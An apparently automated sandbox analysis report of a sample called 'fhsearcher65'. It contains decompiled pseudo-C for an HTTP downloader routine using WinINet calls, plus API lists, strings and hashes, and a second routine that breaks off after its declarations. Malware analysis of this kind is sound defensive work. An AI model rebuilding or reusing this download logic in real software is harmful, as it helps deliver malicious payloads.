Opcode ID: 6a30901e0316293d9dd8d087d713a46f6d2382c1dc1a8c068fa87155fa23cfe1
Instruction ID: cba6d1cf8715c541e4e14745055f1819f1e24e19cdf2eaaf878e8587201e14ce
Opcode Fuzzy Hash: 6a30901e0316293d9dd8d087d713a46f6d2382c1dc1a8c068fa87155fa23cfe1
Instruction Fuzzy Hash: 5C01B538740722ABD7311B72AC0AF3736A8AB41B427D5057AFD00E2390DB78CC06866D

Uniqueness

Uniqueness Score: -1.00%

Function 004019F0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E004019F0(void* __ebx, void* __edi, void* __eflags, void* _a4) {
				char* _v8;
				char* _v12;
				char* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* _v40;
				char* _v48;
				char _v56;
				void _v60;
				intOrPtr _v64;
				char* _v68;
				char* _v84;
				intOrPtr _v88;
				signed int _v92;
				void* _v96;
				void* _v124;
				char _v144;
				signed int _v152;
				void _v292;
				int _v296;
				long _v300;
				char* _v304;
				char _v320;
				signed int _v324;
				signed int _v328;
				short* _v332;
				char* _v336;
				signed int _v340;
				char* _v344;
				char* _v360;
				signed int _v364;
				char* _v368;
				char* _v384;
				void* _v456;
				intOrPtr* _v616;
				char _v636;
				signed int _v644;
				intOrPtr _v648;
				char* _v652;
				char* _v668;
				intOrPtr _v672;
				char* _v700;
				void* __esi;
				void* __ebp;
				signed int _t243;
				signed int _t244;
				int _t261;
				char* _t263;
				signed int _t268;
				signed int _t269;
				signed int _t276;
				char _t277;
				signed int _t282;
				signed int _t288;
				signed int _t289;
				short* _t296;
				signed int _t299;
				intOrPtr* _t302;
				signed int _t303;
				signed int _t305;
				short* _t309;
				signed int _t312;
				signed int _t314;
				signed int _t319;
				char* _t324;
				signed int _t331;
				signed int _t333;
				void* _t339;
				intOrPtr _t352;
				signed int _t357;
				char* _t358;
				void* _t366;
				signed int _t371;
				void* _t376;
				char* _t379;
				signed int _t387;
				signed int _t389;
				void* _t390;
				void* _t391;
				void* _t393;
				char* _t394;
				signed int _t395;
				void* _t397;
				intOrPtr _t398;
				void* _t400;
				void* _t401;
				char* _t410;
				intOrPtr* _t418;
				int _t422;
				short* _t429;
				void* _t436;
				char* _t438;
				char* _t441;
				intOrPtr* _t442;
				char _t456;
				char* _t458;
				char* _t465;
				signed int _t468;
				void* _t470;
				short* _t473;
				signed int _t476;
				char _t480;
				intOrPtr* _t482;
				intOrPtr _t484;
				signed int _t485;
				void* _t486;
				void* _t489;
				void* _t491;
				void* _t492;
				void* _t493;
				void* _t494;
				int _t495;
				short* _t496;
				signed int _t498;
				signed int _t500;
				signed int _t501;
				signed int _t502;
				void* _t504;
				intOrPtr* _t505;
				signed int _t506;
				void* _t509;
				char* _t510;
				void* _t511;
				void* _t512;
				void* _t513;
				void* _t514;
				intOrPtr _t515;
				void* _t517;
				void* _t518;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				void* _t525;
				signed int _t526;
				void* _t528;
				void* _t529;
				void* _t530;
				signed int _t531;
				void* _t532;
				void* _t534;
				void* _t535;

				_t388 = __ebx;
				_push(0xffffffff);
				_push(0x42c62d);
				_push( *[fs:0x0]);
				_t526 = _t525 - 0x24;
				_t243 =  *0x43d054; // 0xd71f2cec
				_t244 = _t243 ^ _t521;
				_v24 = _t244;
				_push(__edi);
				_push(_t244);
				 *[fs:0x0] =  &_v16;
				_t491 = _a4;
				_v48 = 0;
				_v32 = 0;
				_v28 = 0xf;
				_v48 = 0;
				E004026B0(__ebx,  &_v48, "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", 0x7d);
				_v8 = 0;
				_t248 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026B0(__ebx,  &_v48, "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", 0x28);
				_t252 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026B0(__ebx,  &_v48, "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", 0x32);
				_t256 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026B0(__ebx,  &_v48, "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", 0x37);
				_t260 =  >=  ? _v48 :  &_v48;
				_t261 = HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				_t468 = _v28;
				if(_t468 < 0x10) {
					L4:
					 *[fs:0x0] = _v16;
					_pop(_t492);
					_pop(_t509);
					return E0040EF6F(_t261, _t388, _v24 ^ _t521, _t468, _t492, _t509);
				} else {
					_t410 = _v48;
					_t468 = _t468 + 1;
					_t263 = _t410;
					if(_t468 < 0x1000) {
						L3:
						_push(_t468);
						_t261 = E0040F1B0(_t410);
						goto L4;
					} else {
						_t410 =  *(_t410 - 4);
						_t468 = _t468 + 0x23;
						if(_t263 - _t410 + 0xfffffffc > 0x1f) {
							E004138D7(__ebx, _t468, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t521);
							_t522 = _t526;
							_push(0xffffffff);
							_push(0x42c67b);
							_push( *[fs:0x0]);
							_t528 = _t526 - 0x170;
							_t268 =  *0x43d054; // 0xd71f2cec
							_t269 = _t268 ^ _t522;
							_v152 = _t269;
							_push(__ebx);
							_push(HttpAddRequestHeadersA);
							_push(_t491);
							_push(_t269);
							 *[fs:0x0] =  &_v144;
							_t510 = _t410;
							__eflags = _t510[0x28];
							_t493 = _v124;
							_v456 = _t493;
							if(__eflags != 0) {
								_v336 = _t510[0x34];
							} else {
								_t510[0x30] = 0x7800;
								_t387 = E0040F1BE(_t493, _t510, __eflags, 0x7800);
								_t528 = _t528 + 4;
								_t510[0x28] = _t387;
								_t510[0x34] = 0;
								_v336 = 0;
							}
							_v300 = 0;
							InternetSetFilePointer(_t493, 0, 0, 0, 0);
							while(1) {
								_t276 = InternetReadFile(_t493,  &(_t510[0x34][_t510[0x28]]), 0x3e8,  &_v300); // executed
								_t469 = _v300;
								_t389 = _t276;
								_t277 = _t510[0x30];
								_t510[0x34] =  &(_t510[0x34][_t469]);
								__eflags = _t277 - _t510[0x34] - 0x3e8;
								if(__eflags <= 0) {
									_t510[0x30] = _t277 + 0x7800;
									_t506 = E0040F1BE(_t493, _t510, __eflags, _t277 + 0x7800);
									__eflags =  &(_t510[0x34][1]);
									E00410870(_t506, _t510[0x28],  &(_t510[0x34][1]));
									L0040EF7D(_t510[0x28]);
									_t469 = _v300;
									_t528 = _t528 + 0x14;
									_t510[0x28] = _t506;
									_t493 = _v332;
								}
								__eflags = _t389;
								if(_t389 == 0) {
									break;
								}
								__eflags = _t469;
								if(_t469 != 0) {
									continue;
								}
								break;
							}
							_v300 = 0x103;
							E00410EB0(_t493,  &_v292, 0, 0x104);
							_t529 = _t528 + 0xc;
							_t282 = HttpQueryInfoA(_t493, 0x1d,  &_v292,  &_v300, 0);
							__eflags = _t282;
							if(_t282 == 0) {
								L38:
								_t510[0x34][_t510[0x28]] = 0;
								 *[fs:0x0] = _v20;
								_pop(_t494);
								_pop(_t511);
								_pop(_t390);
								__eflags = _v28 ^ _t522;
								return E0040EF6F(_t510[0x34] - _v336, _t390, _v28 ^ _t522, _t469, _t494, _t511);
							} else {
								_v328 = 0;
								_t288 =  &_v320;
								_v324 = 0;
								__imp__CoCreateInstance(_t288, 0, 1, 0x42e2c0,  &_v328);
								__eflags = _t288;
								if(_t288 < 0) {
									goto L38;
								} else {
									__eflags = _v328;
									if(_v328 == 0) {
										goto L38;
									} else {
										_t418 =  &_v292;
										_v360 = 0;
										_v344 = 0;
										_t470 = _t418 + 1;
										_v340 = 0xf;
										_v360 = 0;
										asm("o16 nop [eax+eax]");
										do {
											_t289 =  *_t418;
											_t418 = _t418 + 1;
											__eflags = _t289;
										} while (_t289 != 0);
										E004026B0(_t389,  &_v360,  &_v292, _t418 - _t470);
										_v12 = 0;
										_t391 = MultiByteToWideChar;
										_t422 =  &(_v344[1]);
										__eflags = _v340 - 0x10;
										_t293 =  >=  ? _v360 :  &_v360;
										_v296 = _t422;
										_t495 = MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _t422, 0, 0);
										_t296 = E0040F1BE(_t495, _t510, __eflags,  ~(0 | __eflags > 0x00000000) | _t294 * 0x00000002);
										_t530 = _t529 + 4;
										_v332 = _t296;
										__eflags = _v340 - 0x10;
										_t428 =  >=  ? _v360 :  &_v360;
										_t496 = _t296;
										MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _v296, _t496, _t495);
										_t429 = _t496;
										_v384 = 0;
										__eflags = 0;
										_v368 = 0;
										_v364 = 7;
										_v384 = 0;
										_t99 =  &(_t429[1]); // 0x2
										_t473 = _t99;
										do {
											_t299 =  *_t429;
											_t429 =  &(_t429[1]);
											__eflags = _t299;
										} while (_t299 != 0);
										E00402550(MultiByteToWideChar,  &_v384, _t496);
										L0040EF7D(_t496);
										_t531 = _t530 + 4;
										_v12 = 1;
										_t302 = _v328;
										__eflags = _v364 - 8;
										_t475 =  >=  ? _v384 :  &_v384;
										_t303 =  *((intOrPtr*)( *_t302 + 0x10))(_t302,  >=  ? _v384 :  &_v384, L"text",  &_v324, _t429 - _t473 >> 1);
										_v12 = 0;
										_t498 = _t303;
										_t476 = _v364;
										__eflags = _t476 - 8;
										if(_t476 < 8) {
											L25:
											_v12 = 0xffffffff;
											_t469 = _v340;
											_v368 = 0;
											_v364 = 7;
											_v384 = 0;
											__eflags = _t469 - 0x10;
											if(_t469 < 0x10) {
												L29:
												__eflags = _t498;
												if(_t498 >= 0) {
													__eflags = _v324;
													if(__eflags != 0) {
														_t393 = (_t510[0x34] - _v336) * 8 - _t510[0x34] - _v336;
														_t309 = E0040F1BE(_t498, _t510, __eflags, _t393);
														_t532 = _t531 + 4;
														_t436 = _t510[0x34] - _v336;
														_v296 = 0;
														_v304 = 0;
														_t499 =  *_v324;
														_v332 = _t309;
														_t469 = _v324;
														_t394 = _v336;
														_t312 =  *((intOrPtr*)( *_v324 + 0x10))(_v324, 0, _t436,  &(_t394[_t510[0x28]]), _t393, _t309, _t436,  &_v304,  &_v296, 0);
														__eflags = _t312;
														if(_t312 >= 0) {
															_t316 = _v296;
															_t480 = _t510[0x30];
															_t438 =  &(_t394[_v296]);
															__eflags = _t480 - _t438;
															if(__eflags > 0) {
																_t500 = _t510[0x28];
															} else {
																_t510[0x30] =  &(_t438[0x3e8]);
																_t500 = E0040F1BE(_t499, _t510, __eflags,  &(_t438[0x3e8]));
																E00401760(_t500, _t510[0x30], _t510[0x28], _t394);
																L0040EF7D(_t510[0x28]);
																_t480 = _t510[0x30];
																_t532 = _t532 + 0x10;
																_t316 = _v296;
																_t510[0x28] = _t500;
															}
															_t469 = _t480 - _t394;
															E00401760( &(_t394[_t500]), _t480 - _t394, _v332, _t316);
															_t532 = _t532 + 8;
															_t319 =  &(_t394[_v296]);
															__eflags = _t319;
															_t510[0x34] = _t319;
														}
														L0040EF7D(_v332);
														_t314 = _v324;
														 *((intOrPtr*)( *_t314 + 8))(_t314);
													}
												}
												_t305 = _v328;
												 *((intOrPtr*)( *_t305 + 8))(_t305);
												goto L38;
											} else {
												_t441 = _v360;
												_t469 = _t469 + 1;
												_t324 = _t441;
												__eflags = _t469 - 0x1000;
												if(_t469 < 0x1000) {
													L28:
													_push(_t469);
													E0040F1B0(_t441);
													_t531 = _t531 + 8;
													goto L29;
												} else {
													_t441 =  *(_t441 - 4);
													_t469 = _t469 + 0x23;
													__eflags = _t324 - _t441 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L39;
													} else {
														goto L28;
													}
												}
											}
										} else {
											_t465 = _v384;
											_t489 = 2 + _t476 * 2;
											_t379 = _t465;
											__eflags = _t489 - 0x1000;
											if(_t489 < 0x1000) {
												L24:
												_push(_t489);
												E0040F1B0(_t465);
												_t531 = _t531 + 8;
												goto L25;
											} else {
												_t441 =  *(_t465 - 4);
												_t469 = _t489 + 0x23;
												__eflags = _t379 - _t441 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													L39:
													E004138D7(_t391, _t469, __eflags);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t522);
													_t523 = _t531;
													_push(0xffffffff);
													_push(0x42c6c5);
													_push( *[fs:0x0]);
													_t534 = _t531 - 0x48;
													_t331 =  *0x43d054 ^ _t523;
													__eflags = _t331;
													_v644 = _t331;
													_push(_t391);
													_push(_t510);
													_push(_t498);
													_push(_t331);
													 *[fs:0x0] =  &_v636;
													_v700 = _t441;
													_t482 = _v616;
													_t442 = _t482;
													_v668 = 0;
													_v672 = _t482;
													_v652 = 0;
													_v648 = 0xf;
													_t512 = _t442 + 1;
													_v668 = 0;
													do {
														_t333 =  *_t442;
														_t442 = _t442 + 1;
														__eflags = _t333;
													} while (_t333 != 0);
													E004026B0(_t391,  &_v56, _t482, _t442 - _t512);
													_v16 = 0;
													_t395 = _v36;
													__eflags = _t395 - 0x10;
													_t513 = _v40;
													_t483 = _t513;
													_t446 =  >=  ? _v56 :  &_v56;
													_t501 = E00402890( >=  ? _v56 :  &_v56, _t513,  >=  ? _v56 :  &_v56, "http://", 7);
													_t535 = _t534 + 0xc;
													__eflags = _t501 - 0xffffffff;
													if(_t501 == 0xffffffff) {
														L45:
														__eflags = _v36 - 0x10;
														_t397 =  >=  ? _v56 :  &_v56;
														__eflags = _t513;
														if(_t513 == 0) {
															L48:
															_t502 = _t501 | 0xffffffff;
															__eflags = _t502;
														} else {
															_t501 = E00410E00(_t397, 0x2f, _t513);
															_t535 = _t535 + 0xc;
															__eflags = _t501;
															if(_t501 == 0) {
																goto L48;
															} else {
																_t502 = _t501 - _t397;
															}
														}
														__eflags = _t513 - _t502;
														_v84 = 0;
														_v68 = 0;
														_t448 =  <  ? _t513 : _t502;
														_v64 = 0xf;
														__eflags = _v36 - 0x10;
														_t337 =  >=  ? _v56 :  &_v56;
														_v84 = 0;
														E004026B0(_t397,  &_v84,  >=  ? _v56 :  &_v56,  <  ? _t513 : _t502);
														_v16 = 1;
														_t339 = _v40;
														__eflags = _t339 - _t502;
														_t503 =  <  ? _t339 : _t502;
														__eflags = _v36 - 0x10;
														_t451 =  >=  ? _v56 :  &_v56;
														_t340 = _t339 - ( <  ? _t339 : _t502);
														_v40 = _t339 - ( <  ? _t339 : _t502);
														E00410870( >=  ? _v56 :  &_v56,  &(( >=  ? _v56 :  &_v56)[ <  ? _t339 : _t502]), _t339 - ( <  ? _t339 : _t502) + 1);
														_t398 = _v88;
														_v92 = 0;
														E004139B4(_t398 + 0x44, 0x104, _v60, 0x103);
														_t535 = _t535 + 0x1c;
														asm("sbb eax, eax");
														_t513 = InternetOpenA( *(_t398 + 0xc),  ~( *(_t398 + 0x38)) & 0x00000003,  *(_t398 + 0x38), 0, 0);
														_v96 = _t513;
														__eflags = _t513;
														if(_t513 != 0) {
															_v60 = 1;
															InternetSetOptionA(_t513, 0x41,  &_v60, 4);
															__eflags = _v64 - 0x10;
															_t365 =  >=  ? _v84 :  &_v84;
															_t366 = InternetConnectA(_t513,  >=  ? _v84 :  &_v84, 0x50,  *(_t398 + 0x3c),  *(_t398 + 0x40), 3, 0, 1);
															_t505 = InternetCloseHandle;
															_t401 = _t366;
															__eflags = _t401;
															if(_t401 != 0) {
																__eflags = _v36 - 0x10;
																_t460 =  >=  ? _v56 :  &_v56;
																_t517 = HttpOpenRequestA(_t401, "GET",  >=  ? _v56 :  &_v56, 0, 0, 0, 0x80400000, 1);
																__eflags = _t517;
																if(__eflags != 0) {
																	E004019F0(_t401, InternetCloseHandle, __eflags, _t517);
																	_t371 = HttpSendRequestA(_t517, 0, 0, 0, 0);
																	__eflags = _t371;
																	if(_t371 != 0) {
																		_push(_t517);
																		L6();
																		_v92 = _t371;
																	}
																	 *_t505(_t517);
																}
																 *_t505(_t401);
																_t513 = _v96;
															}
															 *_t505(_t513);
														}
														_t484 = _v64;
														__eflags = _v92;
														_t395 = 0 | _v92 > 0x00000000;
														__eflags = _t484 - 0x10;
														if(_t484 < 0x10) {
															L61:
															_t485 = _v36;
															_v68 = 0;
															_v64 = 0xf;
															_v84 = 0;
															__eflags = _t485 - 0x10;
															if(_t485 < 0x10) {
																L65:
																 *[fs:0x0] = _v24;
																_pop(_t504);
																_pop(_t514);
																_pop(_t400);
																__eflags = _v32 ^ _t523;
																return E0040EF6F(_t395, _t400, _v32 ^ _t523, _t485, _t504, _t514);
															} else {
																_t456 = _v56;
																_t485 = _t485 + 1;
																_t352 = _t456;
																__eflags = _t485 - 0x1000;
																if(_t485 < 0x1000) {
																	L64:
																	_push(_t485);
																	E0040F1B0(_t456);
																	goto L65;
																} else {
																	_t456 =  *((intOrPtr*)(_t456 - 4));
																	_t485 = _t485 + 0x23;
																	__eflags = _t352 - _t456 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L67;
																	} else {
																		goto L64;
																	}
																}
															}
														} else {
															_t458 = _v84;
															_t486 = _t484 + 1;
															_t358 = _t458;
															__eflags = _t486 - 0x1000;
															if(_t486 < 0x1000) {
																L60:
																_push(_t486);
																E0040F1B0(_t458);
																_t535 = _t535 + 8;
																goto L61;
															} else {
																_t456 =  *((intOrPtr*)(_t458 - 4));
																_t485 = _t486 + 0x23;
																__eflags = _t358 - _t456 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L67;
																} else {
																	goto L60;
																}
															}
														}
													} else {
														__eflags = _t513 - _t501;
														if(_t513 < _t501) {
															E004027F0(_t446, _t483);
															L67:
															E004138D7(_t395, _t485, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t523);
															_push(_t513);
															_t515 = _t456;
															_t357 =  *(_t515 + 0x2c);
															 *(_t515 + 0x34) = 0;
															__eflags = _t357;
															if(_t357 != 0) {
																_t357 = L0040EF7D(_t357);
																 *(_t515 + 0x2c) = 0;
															}
															_push(_v8);
															L40();
															return _t357;
														} else {
															_t376 = _t513 - _t501;
															__eflags = _t376 - 7;
															_t488 =  <  ? _t376 : 7;
															__eflags = _t395 - 0x10;
															_t463 =  >=  ? _v56 :  &_v56;
															_t518 = _t513 - 7;
															_t464 =  &(( >=  ? _v56 :  &_v56)[_t501]);
															_v40 = _t518;
															__eflags = _t518 - _t501 + 1;
															E00410870( &(( >=  ? _v56 :  &_v56)[_t501]),  &(( &(( >=  ? _v56 :  &_v56)[_t501]))[ <  ? _t376 : 7]), _t518 - _t501 + 1);
															_t513 = _v40;
															_t535 = _t535 + 0xc;
															goto L45;
														}
													}
												} else {
													goto L24;
												}
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
			}

0x004019f0
0x004019f3
0x004019f5
0x00401a00
0x00401a01
0x00401a04
0x00401a09
0x00401a0b
0x00401a0f
0x00401a10
0x00401a14
0x00401a1a
0x00401a22
0x00401a2e
0x00401a35
0x00401a3c
0x00401a40
0x00401a45
0x00401a59
0x00401a67
0x00401a73
0x00401a87
0x00401a8d
0x00401a99
0x00401aad
0x00401ab3
0x00401abf
0x00401ad3
0x00401ad9
0x00401adb
0x00401ae1
0x00401b0b
0x00401b0e
0x00401b16
0x00401b17
0x00401b25
0x00401ae3
0x00401ae3
0x00401ae6
0x00401ae7
0x00401aef
0x00401b01
0x00401b01
0x00401b03
0x00000000
0x00401af1
0x00401af1
0x00401af4
0x00401aff
0x00401b28
0x00401b2d
0x00401b2e
0x00401b2f
0x00401b30
0x00401b31
0x00401b33
0x00401b35
0x00401b40
0x00401b41
0x00401b47
0x00401b4c
0x00401b4e
0x00401b51
0x00401b52
0x00401b53
0x00401b54
0x00401b58
0x00401b5e
0x00401b60
0x00401b64
0x00401b67
0x00401b6d
0x00401b9c
0x00401b6f
0x00401b74
0x00401b7b
0x00401b80
0x00401b83
0x00401b86
0x00401b8d
0x00401b8d
0x00401bab
0x00401bb5
0x00401bc0
0x00401bd4
0x00401bda
0x00401be0
0x00401be2
0x00401be7
0x00401bed
0x00401bf3
0x00401bfb
0x00401c06
0x00401c08
0x00401c0e
0x00401c16
0x00401c1b
0x00401c21
0x00401c24
0x00401c27
0x00401c27
0x00401c2d
0x00401c2f
0x00000000
0x00000000
0x00401c31
0x00401c33
0x00000000
0x00000000
0x00000000
0x00401c33
0x00401c40
0x00401c4d
0x00401c52
0x00401c68
0x00401c6e
0x00401c70
0x00401fd5
0x00401fdb
0x00401feb
0x00401ff3
0x00401ff4
0x00401ff5
0x00401ff9
0x00402003
0x00401c76
0x00401c7c
0x00401c90
0x00401c96
0x00401ca1
0x00401ca7
0x00401ca9
0x00000000
0x00401caf
0x00401caf
0x00401cb6
0x00000000
0x00401cbc
0x00401cbc
0x00401cc2
0x00401ccc
0x00401cd6
0x00401cd9
0x00401ce3
0x00401cea
0x00401cf0
0x00401cf0
0x00401cf2
0x00401cf3
0x00401cf3
0x00401d07
0x00401d0c
0x00401d1f
0x00401d25
0x00401d26
0x00401d2f
0x00401d3e
0x00401d48
0x00401d59
0x00401d5e
0x00401d61
0x00401d67
0x00401d74
0x00401d7c
0x00401d8a
0x00401d8c
0x00401d8e
0x00401d98
0x00401d9a
0x00401da4
0x00401dae
0x00401db5
0x00401db5
0x00401dc0
0x00401dc0
0x00401dc3
0x00401dc6
0x00401dc6
0x00401dd7
0x00401ddd
0x00401de2
0x00401de5
0x00401def
0x00401dfb
0x00401e03
0x00401e13
0x00401e16
0x00401e1a
0x00401e1c
0x00401e22
0x00401e25
0x00401e5c
0x00401e5e
0x00401e65
0x00401e6b
0x00401e75
0x00401e7f
0x00401e86
0x00401e89
0x00401eba
0x00401eba
0x00401ebc
0x00401ec2
0x00401ec9
0x00401edf
0x00401ee2
0x00401eed
0x00401ef3
0x00401ef9
0x00401f05
0x00401f0f
0x00401f1e
0x00401f25
0x00401f31
0x00401f3e
0x00401f41
0x00401f43
0x00401f45
0x00401f4b
0x00401f4e
0x00401f51
0x00401f53
0x00401f8d
0x00401f55
0x00401f5c
0x00401f67
0x00401f6f
0x00401f77
0x00401f7c
0x00401f7f
0x00401f82
0x00401f88
0x00401f88
0x00401f97
0x00401f9c
0x00401fa7
0x00401faa
0x00401faa
0x00401fac
0x00401fac
0x00401fb5
0x00401fba
0x00401fc6
0x00401fc6
0x00401ec9
0x00401fc9
0x00401fd2
0x00000000
0x00401e8b
0x00401e8b
0x00401e91
0x00401e92
0x00401e94
0x00401e9a
0x00401eb0
0x00401eb0
0x00401eb2
0x00401eb7
0x00000000
0x00401e9c
0x00401e9c
0x00401e9f
0x00401ea7
0x00401eaa
0x00000000
0x00000000
0x00000000
0x00000000
0x00401eaa
0x00401e9a
0x00401e27
0x00401e27
0x00401e2d
0x00401e34
0x00401e36
0x00401e3c
0x00401e52
0x00401e52
0x00401e54
0x00401e59
0x00000000
0x00401e3e
0x00401e3e
0x00401e41
0x00401e49
0x00401e4c
0x00402006
0x00402006
0x0040200b
0x0040200c
0x0040200d
0x0040200e
0x0040200f
0x00402010
0x00402011
0x00402013
0x00402015
0x00402020
0x00402021
0x00402029
0x00402029
0x0040202b
0x0040202e
0x0040202f
0x00402030
0x00402031
0x00402035
0x0040203b
0x0040203e
0x00402041
0x00402043
0x0040204a
0x0040204d
0x00402054
0x0040205b
0x0040205e
0x00402062
0x00402062
0x00402064
0x00402065
0x00402065
0x00402070
0x00402075
0x0040207f
0x00402082
0x00402085
0x00402088
0x0040208a
0x0040209b
0x0040209d
0x004020a0
0x004020a3
0x004020e0
0x004020e0
0x004020e7
0x004020eb
0x004020ed
0x00402105
0x00402105
0x00402105
0x004020ef
0x004020f8
0x004020fa
0x004020fd
0x004020ff
0x00000000
0x00402101
0x00402101
0x00402101
0x004020ff
0x00402108
0x0040210a
0x00402113
0x0040211a
0x0040211d
0x00402124
0x0040212c
0x00402134
0x00402138
0x0040213d
0x00402144
0x00402147
0x00402149
0x0040214c
0x00402150
0x00402154
0x00402156
0x00402160
0x00402165
0x0040216b
0x00402183
0x0040218b
0x00402195
0x004021a4
0x004021a6
0x004021a9
0x004021ab
0x004021b6
0x004021c1
0x004021c7
0x004021d0
0x004021e2
0x004021e8
0x004021ee
0x004021f0
0x004021f2
0x004021f4
0x004021fd
0x00402219
0x0040221b
0x0040221d
0x00402220
0x0040222e
0x00402234
0x00402236
0x0040223b
0x0040223c
0x00402241
0x00402241
0x00402245
0x00402245
0x00402248
0x0040224a
0x0040224a
0x0040224e
0x0040224e
0x00402250
0x00402255
0x00402258
0x0040225b
0x0040225e
0x00402288
0x00402288
0x0040228b
0x00402292
0x00402299
0x0040229d
0x004022a0
0x004022ca
0x004022cf
0x004022d7
0x004022d8
0x004022d9
0x004022dd
0x004022e7
0x004022a2
0x004022a2
0x004022a5
0x004022a6
0x004022a8
0x004022ae
0x004022c0
0x004022c0
0x004022c2
0x00000000
0x004022b0
0x004022b0
0x004022b3
0x004022bb
0x004022be
0x00000000
0x00000000
0x00000000
0x00000000
0x004022be
0x004022ae
0x00402260
0x00402260
0x00402263
0x00402264
0x00402266
0x0040226c
0x0040227e
0x0040227e
0x00402280
0x00402285
0x00000000
0x0040226e
0x0040226e
0x00402271
0x00402279
0x0040227c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040227c
0x0040226c
0x004020a5
0x004020a5
0x004020a7
0x004022ea
0x004022ef
0x004022ef
0x004022f4
0x004022f5
0x004022f6
0x004022f7
0x004022f8
0x004022f9
0x004022fa
0x004022fb
0x004022fc
0x004022fd
0x004022fe
0x004022ff
0x00402300
0x00402303
0x00402304
0x00402306
0x00402309
0x00402310
0x00402312
0x00402315
0x0040231d
0x0040231d
0x00402324
0x00402329
0x00402330
0x004020ad
0x004020b2
0x004020b9
0x004020bb
0x004020be
0x004020c1
0x004020c5
0x004020c7
0x004020c9
0x004020ce
0x004020d5
0x004020da
0x004020dd
0x00000000
0x004020dd
0x004020a7
0x00000000
0x00000000
0x00000000
0x00401e4c
0x00401e3c
0x00401e25
0x00401cb6
0x00401ca9
0x00000000
0x00000000
0x00000000
0x00401aff
0x00401aef

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A67
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A8D

Part of subcall function 004026B0: Concurrency::cancel_current_task.LIBCPMT ref: 004027E3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AB3
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AD9

Strings

GET, xrefs: 0040220D
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401A29
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401A6B
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401AB7
text, xrefs: 00401E0C
pYet, xrefs: 00402165, 00402238
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 00401A91

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$pYet$text
API String ID: 2146599340-946044529
Opcode ID: bf4527e840df5cfc89d44f211c90b9132602f09a80bdbbde4f436e98c9e77cc9
Instruction ID: 5ef22a348ee17f1b28b0732710afe3da99608213d4d332d728cd3fa4837d5643
Opcode Fuzzy Hash: bf4527e840df5cfc89d44f211c90b9132602f09a80bdbbde4f436e98c9e77cc9
Instruction Fuzzy Hash: 4C316131E00109EBEB15DFA9CC85FEEBBB9EB48714F60C02AE121761C0D779A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 10002450 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 400
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E10002450(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v276;
				void* _v280;
				void* _v284;
				long _v288;
				intOrPtr _v292;
				void* _v296;
				void* _v300;
				intOrPtr _v304;
				signed int _v328;
				intOrPtr _v336;
				char _v340;
				void* _v416;
				intOrPtr _v432;
				void* _v436;
				struct _PROCESS_INFORMATION _v452;
				intOrPtr _v456;
				void* _v460;
				signed int* _v468;
				char _v472;
				void* _v476;
				void* _v484;
				void* _v488;
				long _v504;
				intOrPtr _v508;
				void* _v512;
				void* _v524;
				signed int _v532;
				void* _v536;
				void* _v540;
				char _v548;
				signed int _v552;
				signed int _v556;
				void* _v560;
